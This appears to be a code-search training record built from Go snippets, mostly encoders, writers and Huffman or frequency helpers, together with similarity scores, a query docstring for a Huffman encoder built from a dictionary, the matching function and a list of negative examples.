maxCount(hist[:maxSym])\n\tif cnt == len(data) {\n\t\t// RLE\n\t\treturn 0\n\t}\n\tenc.HistogramFinished(maxSym, cnt)\n\terr := enc.normalizeCount(len(data))\n\tif err != nil {\n\t\treturn 0\n\t}\n\t_, err = enc.writeCount(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn 1\n}", "func newGenerator(h hash.Hash, seed []byte) generator {\n\tif h == nil {\n\t\th = sha256.New()\n\t}\n\tb := h.Size()\n\tg := generator{\n\t\tkey: make([]byte, b),\n\t\tcounter: make([]byte, 16),\n\t\tmaxBytesPerRequest: (1 << 15) * b,\n\t\ttemp: make([]byte, b),\n\t\th: h,\n\t}\n\tif len(seed) != 0 {\n\t\t_, _ = g.Write(seed)\n\t}\n\treturn g\n}", "func NewEncoder(is ...interface{}) (e *Encoder, err error) {\n\n\tl := len(is)\n\tengines := make([]encEng, l)\n\tfor i := 0; i < l; i++ {\n\t\tengines[i], err = getEncEngine(reflect.TypeOf(is[i]))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\te = &Encoder{\n\t\tlength: l,\n\t\tengines: engines,\n\t}\n\treturn\n}", "func (pe *Encoder) Init(codes PrefixCodes) {\n\t// Handle special case trees.\n\tif len(codes) <= 1 {\n\t\tswitch {\n\t\tcase len(codes) == 0: // Empty tree (should error if used later)\n\t\t\t*pe = Encoder{chunks: pe.chunks[:0], NumSyms: 0}\n\t\tcase len(codes) == 1 && codes[0].Len == 0: // Single code tree (bit-length of zero)\n\t\t\tpe.chunks = append(pe.chunks[:0], codes[0].Val<<countBits|0)\n\t\t\t*pe = Encoder{chunks: pe.chunks[:1], NumSyms: 1}\n\t\tdefault:\n\t\t\tpanic(\"invalid codes\")\n\t\t}\n\t\treturn\n\t}\n\tif internal.Debug && !sort.IsSorted(prefixCodesBySymbol(codes)) {\n\t\tpanic(\"input codes is not sorted\")\n\t}\n\tif internal.Debug && !(codes.checkLengths() && codes.checkPrefixes()) {\n\t\tpanic(\"detected incomplete or overlapping codes\")\n\t}\n\n\t// Enough chunks to contain all the symbols.\n\tnumChunks := 1\n\tfor n := len(codes) - 1; n > 0; n >>= 1 {\n\t\tnumChunks <<= 1\n\t}\n\tpe.NumSyms = uint32(len(codes))\n\nretry:\n\t// Allocate and reset chunks.\n\tpe.chunks = allocUint32s(pe.chunks, numChunks)\n\tpe.chunkMask = uint32(numChunks - 1)\n\tfor i := range pe.chunks {\n\t\tpe.chunks[i] = 0 // Logic below relies on zero value as uninitialized\n\t}\n\n\t// Insert each symbol, checking that there are no conflicts.\n\tfor _, c := range codes {\n\t\tif pe.chunks[c.Sym&pe.chunkMask] > 0 {\n\t\t\t// Collision found our \"hash\" table, so grow and try again.\n\t\t\tnumChunks <<= 1\n\t\t\tgoto retry\n\t\t}\n\t\tpe.chunks[c.Sym&pe.chunkMask] = c.Val<<countBits | c.Len\n\t}\n}", "func (e *encoder) emitHuff(h huffIndex, value int32) {\n\tx := theHuffmanLUT[h][value]\n\te.emit(x&(1<<24-1), x>>24)\n}", "func NewWriteCounter(w io.Writer) (wc WriteCounter) {\n\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func writeReadSymbol(t *testing.T, syms []Symbol, eof Symbol, freq []int) {\n\n\tbuf := NewBitBuffer()\n\n\tif buf.Size() != 0 {\n\t\tt.Fatal(\"non empty buffer ?\")\n\t}\n\n\t// write all symbols\n\tw := newWriter(buf, eof, freq)\n\t//fmt.Println(\"DEBUG : initial writer\", freq)\n\tw.Dump()\n\n\tfor i, s := range syms {\n\t\terr := w.WriteSymbol(s)\n\t\tif err != nil {\n\t\t\tw.Dump()\n\t\t\tt.Log(\"Last symbol written\", syms[:i+1])\n\t\t\tt.Log(\"error :\", err)\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n\n\t// Compression ratio\n\tfmt.Println(\"Compressed from\\t\", len(syms)*8, \" bits\\tto\", buf.Size(), \" bits\")\n\tif buf.Size() >= len(syms)*8 {\n\t\tt.Fatal(\"no actual compression !?\")\n\t}\n\n\t// read all symbols\n\tr := newReader(buf, eof, freq)\n\t//fmt.Println(\"DEBUG : initial reader\", freq)\n\tr.Dump()\n\tvar got []Symbol\n\tfor buf.Size() > 0 {\n\t\ts, err := r.ReadSymbol()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tr.Dump()\n\t\t\tt.Fatal(\"Unexpected Read error : \", s, err)\n\t\t}\n\t\tgot = append(got, s)\n\n\t}\n\n\tif len(got) != len(syms) {\n\t\t//r.Dump()\n\t\tt.Log(\"Got : \", got)\n\t\tt.Log(\"Want : \", syms)\n\t\tpanic(\"Length do not match !\")\n\t}\n\tfor s := range got {\n\t\tif got[s] != syms[s] {\n\t\t\tr.Dump()\n\t\t\tt.Log(\"Got : \", got)\n\t\t\tt.Log(\"Want : \", syms)\n\t\t\tt.Fail()\n\t\t}\n\t}\n\n\t// Compare read and write weights\n\tfor i := range freq {\n\t\tif r.engine.nodes[i].weight != w.engine.nodes[i].weight {\n\t\t\tfmt.Println(\"DEBUG : current writer\", freq)\n\t\t\tw.Dump()\n\t\t\tfmt.Println(\"DEBUG : current reader\", freq)\n\t\t\tr.Dump()\n\t\t\tt.Fatal(\"weight do not match !\")\n\t\t}\n\t\tif r.engine.actfreq[i] != w.engine.actfreq[i] {\n\t\t\tfmt.Println(\"DEBUG : current writer\", freq)\n\t\t\tw.Dump()\n\t\t\tfmt.Println(\"DEBUG : current reader\", freq)\n\t\t\tr.Dump()\n\t\t\tt.Fatal(\"actual frequencies do not match !\")\n\t\t}\n\n\t}\n}", "func NewOneHotEncoderStep(inputs map[string]DataRef, outputMethods []string) *StepData {\n\treturn NewStepData(\n\t\t&pipeline.Primitive{\n\t\t\tId: \"d3d421cb-9601-43f0-83d9-91a9c4199a06\",\n\t\t\tVersion: \"0.5.1\",\n\t\t\tName: \"One-hot encoder\",\n\t\t\tPythonPath: \"d3m.primitives.data_transformation.one_hot_encoder.DistilOneHotEncoder\",\n\t\t\tDigest: \"66818496dda8d06badfb1a71f75172b50b9288c312b91952d73c0d4c7408480f\",\n\t\t},\n\t\toutputMethods,\n\t\tmap[string]interface{}{\"max_one_hot\": 16},\n\t\tinputs,\n\t)\n}", "func (fixedLenByteArrayEncoderTraits) Encoder(e format.Encoding, useDict bool, descr *schema.Column, mem memory.Allocator) TypedEncoder {\n\tif useDict {\n\t\treturn &DictFixedLenByteArrayEncoder{newDictEncoderBase(descr, NewBinaryDictionary(mem), mem)}\n\t}\n\n\tswitch e {\n\tcase format.Encoding_PLAIN:\n\t\treturn &PlainFixedLenByteArrayEncoder{encoder: newEncoderBase(e, descr, mem)}\n\tdefault:\n\t\tpanic(\"unimplemented encoding type\")\n\t}\n}", "func (w *Writer) Init(writeByte func(byte))", "func NewEncoder() *Encoder {\n\treturn &Encoder{\n\t\tbuf: make([]uint64, 240),\n\t\tb: make([]byte, 8),\n\t\tbytes: make([]byte, 128),\n\t}\n}", "func NewEncoding(encoder string) *Encoding {\n\te := new(Encoding)\n\tencode := make([]uint16, 1028)\n\ti := 0\n\tfor _, r := range encoder {\n\t\tif r&0xFFE0 != r {\n\t\t\tpanic(\"encoding alphabet containing illegal character\")\n\t\t}\n\t\tif i >= len(encode) {\n\t\t\tbreak\n\t\t}\n\t\tencode[i] = uint16(r)\n\t\ti++\n\t}\n\tif i < len(encode) {\n\t\tpanic(\"encoding alphabet is not 1028-characters long\")\n\t}\n\tsort.Slice(encode, func(i, j int) bool { return encode[i] < encode[j] })\n\te.splitter = encode[4]\n\tcopy(e.encodeA[:], encode[4:])\n\tcopy(e.encodeB[:], encode[:4])\n\n\tfor i := 0; i < len(e.decodeMap); i++ {\n\t\te.decodeMap[i] = 0xFFFD\n\t}\n\tfor i := 0; i < len(e.encodeA); i++ {\n\t\tidx := e.encodeA[i] >> blockBit\n\t\tif e.decodeMap[idx] != 0xFFFD {\n\t\t\tpanic(\"encoding alphabet have repeating character\")\n\t\t}\n\t\te.decodeMap[idx] = uint16(i) << blockBit\n\t}\n\tfor i := 0; i < len(e.encodeB); i++ {\n\t\tidx := e.encodeB[i] >> blockBit\n\t\tif e.decodeMap[idx] != 0xFFFD {\n\t\t\tpanic(\"encoding alphabet have repeating character\")\n\t\t}\n\t\te.decodeMap[idx] = uint16(i) << blockBit\n\t}\n\treturn e\n}", "func (raptorq *RaptorQImpl) SetEncoder(msg []byte) error {\n\tencf := raptorfactory.DefaultEncoderFactory()\n\n\t// each source block, the size is limit to a 40 bit integer 946270874880 = 881.28 GB\n\t//there are some hidden restrictions: WS/T >=10\n\t// Al: symbol alignment parameter\n\tvar Al uint8 = 4\n\t// T: symbol size, can take it to be maximum payload size, multiple of Al\n\tvar T uint16 = 1024\n\t// WS: working memory, maxSubBlockSize, assume it to be 8KB\n\tvar WS uint32 = 32 * 1024\n\t// minimum sub-symbol size is SS, must be a multiple of Al\n\tvar minSubSymbolSize uint16 = 1 //T / uint16(Al)\n\n\tF := len(msg)\n\tB := raptorq.MaxBlockSize\n\tif F <= B {\n\t\traptorq.NumBlocks = 1\n\t} else if F%B == 0 {\n\t\traptorq.NumBlocks = F / B\n\t} else {\n\t\traptorq.NumBlocks = F/B + 1\n\t}\n\n\tfor i := 0; i < raptorq.NumBlocks; i++ {\n\t\ta := i * B\n\t\tb := (i + 1) * B\n\t\tif i == raptorq.NumBlocks-1 {\n\t\t\tb = F\n\t\t}\n\t\tpiece := msg[a:b]\n\t\tlog.Printf(\"sha1 hash of block %v is %v\", i, GetRootHash(piece))\n\t\tencoder, err := encf.New(piece, T, minSubSymbolSize, WS, Al)\n\t\tlog.Printf(\"encoder %v is created with size %v\", i, b-a)\n\t\tif err == nil {\n\t\t\traptorq.Encoder[i] = encoder\n\t\t} else {\n\t\t\treturn err\n\t\t}\n\t}\n\tlog.Printf(\"number of blocks = %v, K0=%v\", raptorq.NumBlocks, raptorq.Encoder[0].MinSymbols(0))\n\tlog.Printf(\"encoder creation time is %v ms\", (time.Now().UnixNano()-raptorq.InitTime)/1000000)\n\treturn nil\n}", "func NewCountedWriter(w io.WriteCloser) *CountedWriter {\n\treturn &CountedWriter{w: w}\n}", "func NewWriter(base io.Writer, level int) (io.WriteCloser, error) {\n\tw, err := gzip.NewWriterLevel(base, level)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn streamstore.NewIOCoppler(w, base), nil\n}", "func Frequency(s string) FreqMap {\n m := FreqMap{}\n for _, r := range s {\n m[r]++\n }\n return m\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w: bufio.NewWriter(w)}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w: bufio.NewWriter(w)}\n}", "func NewEncoder(f FormatType, w io.Writer) (enc Encoder) {\n\tvar e EncodeProvider = nil\n\n\tswitch f {\n\tcase TomlFormat:\n\t\te = NewTomlEncoder(w)\n\tcase YamlFormat:\n\t\te = NewYamlEncoder(w)\n\tcase JsonFormat:\n\t\te = json.NewEncoder(w)\n\tdefault:\n\t}\n\n\treturn Encoder{Provider: e}\n}", "func NewEncoder(writer io.Writer, tmps ...*Template) *Encoder {\n\tencoder := &Encoder{\n\t\trepo: make(map[uint]*Template),\n\t\tstorage: make(map[string]interface{}),\n\t\ttarget: writer,\n\t\tpmc: newPMapCollector(),\n\t}\n\tfor _, t := range tmps {\n\t\tencoder.repo[t.ID] = t\n\t}\n\treturn encoder\n}", "func NewEncoder() (*Encoder, error) {\n\treturn &Encoder{\n\t\tbuffer: make([]byte, MaxBufferSize),\n\t\tposition: uint64(MaxBufferSize - 1),\n\t}, nil\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func Frequency(s string) FreqMap {\n\tm := FreqMap{}\n\tfor _, r := range s {\n\t\tm[r]++\n\t}\n\treturn m\n}", "func NewFrequency(v float64, s string) Frequency {\n\treturn Frequency(v) * frequency[s]\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn eos.NewEncoder(w)\n}", "func (c *countHashWriter) Write(b []byte) (int, error) {\n\tn, err := c.w.Write(b)\n\tc.crc = crc32.Update(c.crc, crc32.IEEETable, b[:n])\n\tc.n += n\n\treturn n, err\n}", "func NewEncoder(enc *Encoding, w io.Writer) io.WriteCloser {\n\treturn &encoder{enc: enc, w: w}\n}", "func NewEncoder(enc *Encoding, w io.Writer) io.WriteCloser {\n\treturn &encoder{enc: enc, w: w}\n}", "func getFreqTableKey(ch byte) int {\n\n\tkey := -1\n\n\tif ch >= 'a' && ch <= 'z' {\n\t\tkey = int(ch - 'a')\n\t} else if ch >= 'A' && ch <= 'Z' {\n\t\tkey = int(ch - 'A')\n\t}\n\n\treturn key\n}", "func NewEncoder(w io.Writer) *Encoder {\n\ta := &Encoder{\n\t\thost: fqdn.Get(),\n\t\tWriter: w,\n\t}\n\treturn a\n}", "func NewEncoder(keys ...string) *Encoder {\n\treturn &Encoder{keys}\n}", "func (sw *Swizzle) Encode(file io.ReadSeeker, n int) (Tag, error) {\n\tvar dummy big.Int\n\n\ttag := SwizzleTag{}\n\ttag.Sigmas = make([]*big.Int, 0)\n\n\tsectorSize := (sw.prime.BitLen() + 7) >> 3\n\tchunkID := 0\n\tbuffer := make([]byte, sectorSize)\n\tvar mij big.Int\n\talphas := make([]*big.Int, sw.sectors)\n\tfor j := 0; j < sw.sectors; j++ {\n\t\talpha, err := keyedPRFBig(sw.alphaKey, sw.prime, j)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\talphas[j] = alpha\n\t}\n\tfor done := false; !done; chunkID++ {\n\t\tsigma, err := keyedPRFBig(sw.fKey, sw.prime, chunkID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor j := 0; j < sw.sectors; j++ {\n\t\t\tn, err := file.Read(buffer)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif n > 0 {\n\t\t\t\tmij.SetBytes(buffer)\n\t\t\t\tsigma.Add(sigma, dummy.Mul(alphas[j], &mij))\n\t\t\t}\n\t\t\tif n != sectorSize {\n\t\t\t\tdone = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tdummy.DivMod(sigma, sw.prime, sigma)\n\t\ttag.Sigmas = append(tag.Sigmas, sigma)\n\t}\n\tsw.chunks = chunkID\n\treturn &tag, nil\n}", "func NewEncoder(w io.Writer, opts ...EncodeOption) *Encoder {\n\treturn &Encoder{\n\t\twriter: w,\n\t\topts: opts,\n\t\tindent: DefaultIndentSpaces,\n\t\tanchorPtrToNameMap: map[uintptr]string{},\n\t\tcustomMarshalerMap: map[reflect.Type]func(interface{}) ([]byte, error){},\n\t\tline: 1,\n\t\tcolumn: 1,\n\t\toffset: 0,\n\t}\n}", "func NewEncoder(fnc idltypes.Function, seqID int32) *CommonWriter {\n\treturn &CommonWriter{\n\t\tfunction:fnc,\n\t\tseqID:seqID,\n\t}\n}", "func newHashedReader(reader io.ReadCloser, hasher hash.Hash) io.ReadCloser {\n\treturn struct {\n\t\tio.Reader\n\t\tio.Closer\n\t}{\n\t\tReader: io.TeeReader(reader, hasher),\n\t\tCloser: reader,\n\t}\n}", "func NewEncoding(encoder string) *Encoding {\n\tif len(encoder) != 32 {\n\t\tpanic(\"encoding alphabet is not 32-bytes long\")\n\t}\n\n\te := new(Encoding)\n\te.padChar = StdPadding\n\tcopy(e.encode[:], encoder)\n\tcopy(e.decodeMap[:], decodeMapInitialize)\n\n\tfor i := 0; i < len(encoder); i++ {\n\t\t// Note: While we document that the alphabet cannot contain\n\t\t// the padding character, we do not enforce it since we do not know\n\t\t// if the caller intends to switch the padding from StdPadding later.\n\t\tswitch {\n\t\tcase encoder[i] == '\\n' || encoder[i] == '\\r':\n\t\t\tpanic(\"encoding alphabet contains newline character\")\n\t\tcase e.decodeMap[encoder[i]] != invalidIndex:\n\t\t\tpanic(\"encoding alphabet includes duplicate symbols\")\n\t\t}\n\t\te.decodeMap[encoder[i]] = uint8(i)\n\t}\n\treturn e\n}", "func CreateDictionary(corpus io.Reader) Dictionary {\n\troot := trie.CreateNode(\"\")\n\tscanner := bufio.NewScanner(corpus)\n\n\tisDelimiter := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c)\n\t}\n\n\tfor scanner.Scan() {\n\t\ts := scanner.Text()\n\t\tfor _, w := range strings.FieldsFunc(s, isDelimiter) {\n\t\t\troot.Insert(strings.ToLower(w))\n\t\t}\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn Dictionary{Root: &root}\n}", "func (v *V1Decoder) WriteTo(w io.Writer) (int64, error) {\n\tvar uint64Size uint64\n\tinc := int64(unsafe.Sizeof(uint64Size))\n\n\t// Read all the data into RAM, since we have to decode known-length\n\t// chunks of various forms.\n\tvar offset int64\n\tb, err := ioutil.ReadAll(v.r)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"readall: %s\", err)\n\t}\n\n\t// Get size of data, checking for compression.\n\tcompressed := false\n\tsz, err := readUint64(b[offset : offset+inc])\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"read compression check: %s\", err)\n\t}\n\toffset = offset + inc\n\n\tif sz == math.MaxUint64 {\n\t\tcompressed = true\n\t\t// Data is actually compressed, read actual size next.\n\t\tsz, err = readUint64(b[offset : offset+inc])\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"read compressed size: %s\", err)\n\t\t}\n\t\toffset = offset + inc\n\t}\n\n\t// Now read in the data, decompressing if necessary.\n\tvar totalN int64\n\tif sz > 0 {\n\t\tif compressed {\n\t\t\tgz, err := gzip.NewReader(bytes.NewReader(b[offset : offset+int64(sz)]))\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\tn, err := io.Copy(w, gz)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, fmt.Errorf(\"data decompress: %s\", err)\n\t\t\t}\n\t\t\ttotalN += n\n\n\t\t\tif err := gz.Close(); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t} else {\n\t\t\t// write the data directly\n\t\t\tn, err := w.Write(b[offset : offset+int64(sz)])\n\t\t\tif err != nil {\n\t\t\t\treturn 0, fmt.Errorf(\"uncompressed data write: %s\", err)\n\t\t\t}\n\t\t\ttotalN += int64(n)\n\t\t}\n\t}\n\treturn totalN, nil\n}" ]
[ "0.63321435", "0.56082517", "0.54519534", "0.5308969", "0.5214941", "0.51323193", "0.5113666", "0.49791935", "0.4955239", "0.49260506", "0.47540465", "0.47011536", "0.46830842", "0.46463782", "0.4641212", "0.46109676", "0.46104366", "0.4607955", "0.45618033", "0.4559878", "0.45562926", "0.45516047", "0.4551011", "0.45402274", "0.4537831", "0.45365316", "0.45279726", "0.44941273", "0.44607496", "0.44539392", "0.4438872", "0.44182685", "0.4396673", "0.43828517", "0.4382493", "0.43612593", "0.43593022", "0.43563637", "0.434033", "0.43266672", "0.4312432", "0.43113893", "0.4305434", "0.42808315", "0.4275694", "0.42655718", "0.42607582", "0.42539835", "0.42313668", "0.42305693", "0.42305693", "0.42305693", "0.42305693", "0.42305693", "0.42056885", "0.41997972", "0.41910616", "0.4175494", "0.41745725", "0.41548723", "0.41521055", "0.41449475", "0.41446838", "0.41417208", "0.41405362", "0.41405362", "0.41299433", "0.41274923", "0.41243556", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115283", "0.4115161", "0.41144952", "0.41144952", "0.41091272", "0.4103927", "0.40938443", "0.40938443", "0.40817973", "0.4078993", "0.40751863", "0.4064648", "0.40643662", "0.4055741", "0.4031805", "0.40296787", "0.40248576", "0.4023168" ]
0.74129003
0
NewHuffmanEncoder creates a new encoder given an existing dictionary. It prepares the encoder to write to the io.Writer that is provided. The order of the dictionary slice determines its priority.
func NewHuffmanEncoderWithDict(wc io.Writer, dict []byte) *HuffmanEncoder { he := new(HuffmanEncoder) pQ := make(PriorityQueue, len(dict)) MaxPri := len(dict) for i, v := range dict { pQ[i] = NewHNode(v, MaxPri - i) // prioritize in order of dict } heap.Init(&pQ) for pQ.Len() > 1 { zero := pQ.Pop() l := zero.(Item) one := pQ.Pop() r := one.(Item) ht := NewHTree(l, r) heap.Push(&pQ, ht) } htree := pQ.Pop() root, ok := htree.(*HTree) if !ok { panic("Huffman Tree") } he.root = root he.dict = make(map[byte]Huffcode) filldict(he.root, "", he.dict) he.bw = bs.NewWriter(wc) return he }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewHuffmanEncoder(inp io.ReadSeeker, wc io.Writer) *HuffmanEncoder {\n\the := new(HuffmanEncoder)\n\tfreq := make(map[byte]int)\n\n\tvar b [1]byte\n\t// using the reader, count the frequency of bytes\n\tfor {\n\t\t_, err := inp.Read(b[:])\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tpanic(err)\n\t\t}\n\n\t\t_, ok := freq[b[0]]\n\t\tif !ok {\n\t\t\tfreq[b[0]] = 0\n\t\t}\n\t\tfreq[b[0]]++\n\t}\n\t_, err := inp.Seek(0, io.SeekStart)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpQ := make(PriorityQueue, len(freq))\n\ti := 0\n\tfor v, f := range freq {\n\t\tpQ[i] = NewHNode(v, f)\n\t\ti++\n\t}\n\n\theap.Init(&pQ)\n\n\tfor pQ.Len() > 1 {\n\t\tzero := pQ.Pop()\n\t\tl := zero.(Item)\n\t\tone := pQ.Pop()\n\t\tr := one.(Item)\n\t\tht := NewHTree(l, r)\n\t\theap.Push(&pQ, ht)\n\t}\n\n\thtree := pQ.Pop()\n\troot, ok := htree.(*HTree)\n\tif !ok {\n\t\tpanic(\"Huffman Tree\")\n\t}\n\the.root = root\n\the.dict = make(map[byte]Huffcode)\n\tfilldict(he.root, \"\", he.dict)\n\the.bw = bs.NewWriter(wc)\n\treturn he\n}", "func Encode(in, out *os.File) {\n\tcounts := count(in)\n\tp := makePQ(counts)\n\th := makeHuffman(p)\n\tm := make(map[byte]string)\n\tfillMap(h, m, \"\")\n\tfor k, v := range m {\n\t\tfmt.Printf(\"k: %c, v: %s\\n\", k, v)\n\t}\n}", "func NewEncoder(writer io.Writer, tmps ...*Template) *Encoder {\n\tencoder := &Encoder{\n\t\trepo: make(map[uint]*Template),\n\t\tstorage: make(map[string]interface{}),\n\t\ttarget: writer,\n\t\tpmc: newPMapCollector(),\n\t}\n\tfor _, t := range tmps {\n\t\tencoder.repo[t.ID] = t\n\t}\n\treturn encoder\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\tnames: make(map[string]struct{}),\n\t}\n}", "func NewEncoder(keys ...string) *Encoder {\n\treturn &Encoder{keys}\n}", "func NewEncoder(w io.Writer, opts ...EncodeOption) *Encoder {\n\treturn &Encoder{\n\t\twriter: w,\n\t\topts: opts,\n\t\tindent: DefaultIndentSpaces,\n\t\tanchorPtrToNameMap: map[uintptr]string{},\n\t\tcustomMarshalerMap: map[reflect.Type]func(interface{}) ([]byte, error){},\n\t\tline: 1,\n\t\tcolumn: 1,\n\t\toffset: 0,\n\t}\n}", "func NewEncoder(w io.Writer, chunkSize uint16) EncoderV2 {\n\treturn EncoderV2{\n\t\tw: w,\n\t\tbuf: &bytes.Buffer{},\n\t\tchunkSize: chunkSize,\n\t}\n}", "func NewEncoder(w io.WriteSeeker, sampleRate, bitDepth, numChans, audioFormat int) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\tbuf: bytes.NewBuffer(make([]byte, 0, bytesNumFromDuration(time.Minute, sampleRate, bitDepth)*numChans)),\n\t\tSampleRate: sampleRate,\n\t\tBitDepth: bitDepth,\n\t\tNumChans: numChans,\n\t\tWavAudioFormat: audioFormat,\n\t}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: bufferedWriter(w),\n\t\tmaxLength: defaultMaxLength,\n\t}\n}", "func NewEncoder() Encoder {\n return &encoder{}\n}", "func NewEncoder(withOptions ...Option) (e *Encoder, err error) {\n\te = &Encoder{\n\t\terrc: make(chan (error)),\n\t}\n\n\twithOptions = append(withOptions, WithDefaultOptions())\n\tif err = WithOptions(withOptions...)(e); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif uint16(e.requiredShards+e.redundantShards) > 256 { // TODO: test for this\n\t\treturn nil, errors.New(\"sum of data and parity shards cannot exceed 256\")\n\t}\n\n\treturn nil, nil\n}", "func Encode(input string) (string, *tree.Node[string]) {\n\t// Create huffman tree and map\n\thTree := getHuffmanTree(input)\n\tprintTree(hTree)\n\thMap := getHuffmanEncodingMap(hTree)\n\tbuilder := strings.Builder{}\n\tfor i := 0; i < len(input); i++ {\n\t\tbuilder.WriteString(hMap[string(input[i])])\n\t}\n\treturn builder.String(), hTree\n}", "func NewEncoder(H *http.Header) *Encoder {\n\tif H == nil {\n\t\tH = &http.Header{}\n\t}\n\treturn &Encoder{h: *H}\n}", "func NewEncoder(w io.Writer) goa.Encoder {\n\treturn codec.NewEncoder(w, &Handle)\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\tbuf: make([]byte, 8),\n\t\tcrc: crc16.New(nil),\n\t}\n}", "func NewEncodingTree(freq map[uint8]uint) *Node {\n\tvar head Node // Fictitious head\n\n\tfor i, v := range freq {\n\t\tnode := &Node{\n\t\t\tvalue: i,\n\t\t\tweight: v,\n\t\t}\n\t\thead.insert(node)\n\t}\n\n\tfor head.next != nil && head.next.next != nil {\n\t\tl := head.popFirst()\n\t\tr := head.popFirst()\n\n\t\tnode := join(l, r)\n\t\thead.insert(node)\n\t}\n\n\t// Fictitious head point to tree root\n\tif head.next != nil {\n\t\thead.next.prev = nil\n\t}\n\treturn head.next\n}", "func NewEncoder(fnc idltypes.Function, seqID int32) *CommonWriter {\n\treturn &CommonWriter{\n\t\tfunction:fnc,\n\t\tseqID:seqID,\n\t}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w}\n}", "func NewEncoder(enc *Encoding, w io.Writer) io.WriteCloser {\n\treturn &encoder{enc: enc, w: w}\n}", "func NewEncoder(enc *Encoding, w io.Writer) io.WriteCloser {\n\treturn &encoder{enc: enc, w: w}\n}", "func NewEncoder(f *Format, w *os.File) (*Encoder, error) {\n\tenc := &Encoder{w: w, f: f}\n\th := &hdr{}\n\tenc.h = h\n\tif e := h.Write(w); e != nil {\n\t\treturn nil, e\n\t}\n\tif e := f.Write(w); e != nil {\n\t\treturn nil, e\n\t}\n\td := &chunk{fourCc: _dat4Cc}\n\tif e := d.writeHdr(w); e != nil {\n\t\treturn nil, e\n\t}\n\tenc.p = 0\n\tenc.buf = make([]byte, f.Bytes()*f.Channels()*1024)\n\t//ef := f.Encoder()\n\t//enc.eFunc = ef\n\tenc.w = w\n\treturn 